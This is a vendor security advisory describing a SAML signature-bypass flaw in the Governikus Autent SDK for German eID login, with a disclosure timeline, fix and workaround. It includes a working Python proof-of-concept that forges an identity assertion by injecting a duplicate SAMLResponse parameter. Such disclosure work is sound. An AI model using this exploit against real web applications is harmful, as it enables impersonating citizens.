Signature Bypass / Authentication Bypass in Governikus Autent SDK

Project Description

The German government-issued identity card (nPA) allows German citizens to prove their identity not only in person, but also against online services (by using the embedded RFID chip). A critical security vulnerability in the Governikus Autent SDK enables an attacker to impersonate arbitrary users against affected web applications.

An additional blog post has been published on this topic as well: English | German


Vendor description

German original, translated to English: “In the course of digitization, electronic identities have become indispensable. At the same time, the requirements for protection, handling with regard to legal security and the federation of electronic identities are increasing. With Governikus Autent, server and client components are available to ensure authentication through electronic identities. Governikus Autent meets all the requirements of a modern identity management solution.”

Source: https://www.governikus.de/produkte-loesungen/governikus-autent-und-ausweisapp2/

Business recommendation

During a short crash test SEC Consult identified a critical vulnerability in the Governikus Autent SDK nPA authentication code (German id card authentication).

This vulnerability could allow an attacker to impersonate any German citizen on a vulnerable web application.

SEC Consult recommends to immediately apply the workaround described below or apply the patch provided by the vendor. Moreover, SEC Consult recommends web application providers to check historic log files for evidence of this attack. SEC Consult recommends conducting a thorough source code security review on the Governikus Autent components as they are integral for the security of many web applications.

Vulnerability overview/description

The software component tested is used by web applications to integrate nPA authentication (authentication using the German official id document).

As the last step of an authentication transaction, the web application the user authenticates against receives a string containing all relevant data about the citizen (e.g. first name, last name). As this string is signed by a trusted party (an eID server), the application can verify the authenticity of this string.

The component in the web application that is supposed to verify this signature can be tricked into accepting a string that has been modified. An attacker that has acquired a single legitimately signed string can use this to authenticate as any German citizen to any web application that trusts the eID server’s signature. An attacker could acquire such a signed string by hosting a web application and tricking a victim to authenticate, by gaining access to a signed string sent to a legitimate web application (man-in-the-middle attack, getting access to the access log) or by authenticating against a web application using his own id document.

 

Proof of concept

1) Signature Bypass

During the last step of the NPA transaction, the user is redirected to the SAML receiver of the web application she tried to authenticate against. The SAML response is sent as a URL parameter:

https://<host>/<receiver path>?SAMLResponse=<SAML response>&RelayState=<...>&SigAlg=<sig alg.>&Signature=<signature>

According to the demo application, the first verification a SAML receiver is meant to do is call the method HttpRedirectUtils.checkQueryString passing the query string (as it is returned by request.getQueryString()). If this method returns false, the signature could not be verified.

This method internally deconstructs the query string into individual parameters, reconstructs the query string and then verifies the signature.

If however, the query string contains multiple parameters of the same name, only the last occurrence of a parameter is built into the query string the signature is verified against. Therefore, if a query string is constructed like following, the first SAML response is ignored during signature verification:

...?SAMLResponse=<SAML response 1>&SAMLResponse=<SAML response 2>...

Afterwards, when the SAML response is processed, the application is likely to use the method ServletRequest.getParameter() to retrieve the SAML response (the demo application which is meant to show the integration of the library also does this). As per the specification of this method, the application server is supposed to return the first parameter value, if multiple parameters with the same name were sent.

Thus, the signature is verified against the second occurrence of the SAMLResponse parameter, while the first occurrence of the SAMLResponse parameter is further processed by the application.

An attacker is therefore able to arbitrarily modify an authentic query string. By obtaining such a string (e.g. by providing a web application with nPA login and then checking the access log), he is able to authenticate as any citizen against any vulnerable web application that also trusts the issuer of the signature.

The following script demonstrates this issue:

import webbrowser, re, urllib, zlib
from urlparse import urlparse
from base64 import b64encode

# enter the URL of the receiver
import webbrowser, re, urllib, zlib
from urlparse import urlparse
from base64 import b64encode

# enter the URL of the receiver
AUDIENCE = 'https://localhost:8443/AutentSAMLDemo/NewReceiverServlet'

saml = '''<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response 
  xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
  xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xs="http://www.w3.org/2001/XMLSchema" 
  xmlns:eid="http ://bsi.bund.de/eID/" 
  Version="2.0">
 <samlp:Status>
  <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
 </samlp:Status>
 <saml2:Assertion Version="2.0">
  <saml2:Conditions>
   <saml2:AUDIENCERestriction>
    <saml2:AUDIENCE>##AUDIENCE##</saml2:AUDIENCE>
   </saml2:AUDIENCERestriction>
  </saml2:Conditions>
  <saml2:Subject>
   <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
    <saml2:SubjectConfirmationData NotOnOrAfter="2099-01-01T00:00:00.000Z" 
     Recipient="##AUDIENCE##" />
   </saml2:SubjectConfirmation>
  </saml2:Subject>
  <saml2:AttributeStatement>
   <saml2:Attribute Name="AcademicTitle">
    <saml2:AttributeValue xsi:type="xs:string">The Bad</saml2:AttributeValue>
   </saml2:Attribute>
   <saml2:Attribute Name="GivenNames">
    <saml2:AttributeValue xsi:type="xs:string">Evil</saml2:AttributeValue>
   </saml2:Attribute>
   <saml2:Attribute Name="FamilyNames">
    <saml2:AttributeValue xsi:type="xs:string">Attacker</saml2:AttributeValue>
   </saml2:Attribute>
   <saml2:Attribute Name="DocumentValidity">
    <saml2:AttributeValue xsi:type="eid:DocumentValidityResultType" Version="1">
     <eid:ReferenceDate>2010-01-01</eid:ReferenceDate>
     <eid:Status>valid</eid:Status>
    </saml2:AttributeValue>
   </saml2:Attribute>
   <saml2:Attribute Name="DocumentType">
    <saml2:AttributeValue xsi:type="xs:string">ID</saml2:AttributeValue>
   </saml2:Attribute>
  </saml2:AttributeStatement>
 </saml2:Assertion>
</samlp:Response>'''

saml = saml.replace('##AUDIENCE##', AUDIENCE)

# make SAML as small as possible to fit it in a GET request
saml = re.sub('\s+', ' ', saml)

# read the captured signed URL
with open('signed_url.txt', 'rt') as f:
    url = urlparse(f.read().strip())

c = zlib.compressobj(-1, zlib.DEFLATED, -9)
compressed = c.compress(saml) + c.flush()

url = url._replace(query='SAMLResponse={0}&{1}'.format(
    urllib.quote(b64encode(compressed)),
    url.query))

webbrowser.open(url.geturl())

Vulnerable / tested versions

The version that was distributed with the demo application (3.8.1) was found to be vulnerable which was the latest version available at the time of discovery.

Moreover, the library version distributed/included with the (at the time of discovery) latest release of the beA Client Security (3.20.3) is vulnerable as well. As our identified vulnerability affects HTTP query parsing, the beA client is most likely not vulnerable. No further analysis has been performed though.

Vendor contact timeline

2018-07-05:Contacting CERT-Bund for coordination support with vendor and German government agencies.
2018-07-05:CERT-Bund: information will be forwarded to affected parties.
2018-07-12:CERT-Bund: advisory has been forwarded to Governikus, is being investigated.
2018-08-03Requesting status update.
2018-08-03CERT-Bund: Governikus has been contacted again.
2018-08-10CERT-Bund: Governikus will be able to provide a patch until 2018-08-24.
2018-08-10Internally coordinating release date, asking for details about the patch.
2018-08-10CERT-Bund: vulnerability has been patched, customers will be informed by Governikus.
2018-08-21CERT-Bund provides additional details about the patch.
2018-08-22SEC Consult informs CERT-Bund that the advisory will be released at a later date.
2018-08-28Informing CERT-Bund about release date: 2018-11-21
2018-11-12Sending blog post draft to CERT-Bund/Governikus.
2018-11-21Public release of the advisory.

Solution

Upgrade to version 3.8.1.2 of the Governikus Autent SDK.

Workaround

In order to mitigate this issue, a web application could check if the request parameters provided to the receiver servlet contain multiple parameters of the same name. If this is the case, the authentication process has to be aborted.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

 

EOF W. Ettlinger / @2018

 

 

Interested to work with the experts of SEC Consult? Send us your application.
Want to improve your own cyber security with the experts of SEC Consult?
Contact our local offices.

Project Details

  • TitleSignature Bypass / Authentication Bypass
  • ProductGovernikus Autent SDK
  • Vulnerable version<=3.8.1
  • Fixed version3.8.1.2
  • CVE number-
  • Impactcritical
  • Homepagehttps://www.governikus.de/
  • Found2018-06
  • ByW. Ettlinger (Office Vienna) | SEC Consult Vulnerability Lab

Cookie Preference

Please select an option. You can find more information about the consequences of your choice at Help.

Select an option to continue

Your selection was saved!

Help

Help

To continue, you must make a cookie selection. Below is an explanation of the different options and their meaning.

  • Accept all cookies:
    All cookies such as tracking and analytics cookies.
  • Accept first-party cookies only:
    Only cookies from this website.
  • Reject all tracking cookies:
    No cookies except for those necessary for technical reasons are set.

You can change your cookie setting here anytime: Blog. Blog

Back